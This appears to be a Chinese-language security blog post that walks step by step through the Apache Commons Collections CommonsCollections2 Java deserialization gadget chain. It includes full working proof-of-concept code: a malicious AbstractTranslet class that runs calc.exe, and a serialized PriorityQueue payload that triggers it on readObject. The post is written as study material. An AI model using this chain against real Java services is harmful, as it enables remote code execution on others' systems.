zoukankan      html  css  js  c++  java
  • CommonsCollections2分析

    CommonsCollection2调用流程

    整个调用链详细版本

    ObjectInputStream.readObject()
            |
    PriorityQueue.readObject()
            |
    PriorityQueue.heapify
            |
    PriorityQueue.siftDown
            |
    PriorityQueue.siftDownUsingComparator
            |
    TransformingComparator.compare()
            |
    InvokerTransformer.transform()
            |
    TemplatesImpl.getTransletInstance
            |
    ->(动态创建的类)cc2.newInstance()->Runtime.exec()

    官方调用链

    /*
        Gadget chain:
            ObjectInputStream.readObject()
                PriorityQueue.readObject()
                    ...
                        TransformingComparator.compare()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
     */

    CommonsCollections2

    在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

    所以cc2版本就没用使用AnnotationInvocationHandler而时使用了TemplatesImpI+PriorityQueue 来构造利用链的。

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个内置类, 这个类的骚操作就是,在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时,会动态从字节码中重建一个类.

    这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.

    第一步通过templatempI加载恶意类

    TemplatesImpI类分析

    这个类我们用来加载我们的恶意类。

    分析getTransletInstance

     这里有两个判断条件

    如果_name==null 返回null

    如果_class==null就调用defineTransletClasses() 下来跟进defineTransletClasses() 

    分析defineTransletClasses()

    这里如果_bytecodes==null就执行错误处理语句块 

    看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值 

    这个常量中 可以跟进这个常量看看这个常量中存储了什么值

    可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它

     注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件

    构造恶意类

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class evil  extends AbstractTranslet {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (Exception e) {}
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    恶意类代码

    这里我们可以构造我们初步测试能成功调用恶意类的poc

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    import javax.xml.transform.TransformerConfigurationException;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.ArrayList;
    public class test2 {
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
            //实例化TemplatesImpl
            TemplatesImpl templates=new TemplatesImpl();
            //获取TemplatesImpl的Class
            Class tc=templates.getClass();
            Field nameField=tc.getDeclaredField("_name");
            nameField.setAccessible(true);
            nameField.set(templates,"aaaa");
            Field bytecodesField=tc.getDeclaredField("_bytecodes");
            bytecodesField.setAccessible(true);
            //加载恶意类
            byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
            byte[][] codes={code};
            bytecodesField.set(templates,codes);
    
            Field tfactoryField=tc.getDeclaredField("_tfactory");
            tfactoryField.setAccessible(true);
            tfactoryField.set(templates,new TransformerFactoryImpl());
            //调用
            templates.newTransformer();
        }
    }
    加载恶意字节码poc

    加载恶意字节码poc的链子

    TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

    接下来使用InvokerTransformer的反射去调用newTransformer()

    InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

    TransformingComparator类分析

    TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

    TransformingComparator中的comparator 在TransformingComparator的构造方法中,传入了两个值transformer和decorated

    TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

    具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链

     我们在此可以构造 将反射调用的newTransformer传进去 

    TransformingComparator comparator =new TransformingComparator(invokerTransformer);

    这样如果那块调用了compare()就会调用this.invokerTransformer.transformer()

    那么接下来如何调用compare()?这就需要PriorityQueue登场了

    PriorityQueue类分析

    PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

     readObject中调用了heapify() 注意这里需要的for循环 这里长度是2才能满足条件 所以我们需要在创建好PriorityQueue之后再继续往里面add()添加元素

     heapify()调用了siftdown()

    sitdown()调用了siftDownUsingComparator()

    siftDownUsingComparator() 又调用了comparator.compare()   

     调用到comparator.compare()方法中

    这里就可以构造

    PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
    //将恶意类添加给PriorityQueue
    priorityQueue.add(templates);
    priorityQueue.add(2);
     1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
     2 import org.apache.commons.collections4.comparators.TransformingComparator;
     3 import org.apache.commons.collections4.functors.InvokerTransformer;
     4 import java.io.*;
     5 import java.lang.reflect.*;
     6 import java.nio.file.Files;
     7 import java.nio.file.Paths;
     8 import java.util.PriorityQueue;
     9 
    10 
    11 public class CC2test {
    12 
    13     public static void main(String[] args)throws Exception {
    14 
    15 
    16         TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl
    17         Class tc=templates.getClass(); //获取templates的Classlass
    18         Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name
    19         nameField.setAccessible(true); //暴力反射
    20         nameField.set(templates,"aaaa"); //修改_name的值
    21         Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes
    22         bytecodesField.setAccessible(true); //暴力反射
    23         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类
    24         byte[][] codes={code};
    25         bytecodesField.set(templates,codes);//修改_bytecodes的值
    26 
    27         //反射调用newTransformer()
    28         InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
    29 
    30         TransformingComparator transformingComparator=new TransformingComparator<>(invokerTransformer);
    31 
    32         PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
    33         //将恶意类添加给PriorityQueue
    34         priorityQueue.add(templates);
    35         priorityQueue.add(2);
    36 
    37 
    38         serialize(priorityQueue);
    39         unserialize("ser.bin");
    40 
    41     }
    42 
    43     public static void serialize(Object obj) throws Exception{
    44         ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
    45         oss.writeObject(obj);
    46     }
    47 
    48     public static void unserialize(Object obj) throws Exception{
    49         ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
    50         oss.readObject();
    51     }
    52 }
    初步poc

    执行的时候报了哥错误

     这里要防止它提前执行

    将这里置空 传一个没有的东西

    TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

    当完PriorityQueue add()完之后再给它里面赋值即可

            PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
            //将恶意类添加给PriorityQueue
            priorityQueue.add(templates);
            priorityQueue.add(2);
    
            //将invokerTransformer给transformingComparator中的transformer
            Class c=transformingComparator.getClass();
            Field transformField=c.getDeclaredField("transformer");
            transformField.setAccessible(true);
            transformField.set(transformingComparator,invokerTransformer);

    构建最终poc学习

     1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
     2 import org.apache.commons.collections4.comparators.TransformingComparator;
     3 import org.apache.commons.collections4.functors.ConstantTransformer;
     4 import org.apache.commons.collections4.functors.InvokerTransformer;
     5 import java.io.*;
     6 import java.lang.reflect.*;
     7 import java.nio.file.Files;
     8 import java.nio.file.Paths;
     9 import java.util.PriorityQueue;
    10 
    11 
    12 public class CC2test {
    13 
    14     public static void main(String[] args)throws Exception {
    15 
    16 
    17         TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl
    18         Class tc=templates.getClass(); //获取templates的Classlass
    19         Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name
    20         nameField.setAccessible(true); //暴力反射
    21         nameField.set(templates,"aaaa"); //修改_name的值
    22         Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes
    23         bytecodesField.setAccessible(true); //暴力反射
    24         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类
    25         byte[][] codes={code};
    26         bytecodesField.set(templates,codes);//修改_bytecodes的值
    27 
    28         //反射调用newTransformer()
    29         InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
    30 
    31         //将TransformingComparator置空 防止再序列化时触发恶意类
    32         TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
    33 
    34 
    35         PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
    36         //将恶意类添加给PriorityQueue
    37         priorityQueue.add(templates);
    38         priorityQueue.add(2);
    39 
    40         //将invokerTransformer给transformingComparator中的transformer
    41         Class c=transformingComparator.getClass();
    42         Field transformField=c.getDeclaredField("transformer");
    43         transformField.setAccessible(true);
    44         transformField.set(transformingComparator,invokerTransformer);
    45 
    46         serialize(priorityQueue);
    47         unserialize("ser.bin");
    48 
    49     }
    50 
    51     public static void serialize(Object obj) throws Exception{
    52         ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
    53         oss.writeObject(obj);
    54     }
    55 
    56     public static void unserialize(Object obj) throws Exception{
    57         ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
    58         oss.readObject();
    59     }
    60 }

    参考

      https://www.cnblogs.com/nice0e3/p/13860621.html#transformingcomparator

      《P牛的java代码审计》

  • 相关阅读:
    Java中的File类
    scala语法
    Spark核心原理
    资源调度器
    YARN工作机制
    MapReduce原理和工作过程
    序列化
    Hbase(2)表的设计和Rowkey等的设计
    Hbase(1)架构和工作原理
    Exception in thread "main" java.lang.NoSuchMethodError: io.netty.buffer.PooledByteBufAllocator.metric()Lio/netty/buffer/PooledByteBufAllocatorMetric;
  • 原文地址:https://www.cnblogs.com/xhds/p/15736033.html
Copyright © 2011-2022 走看看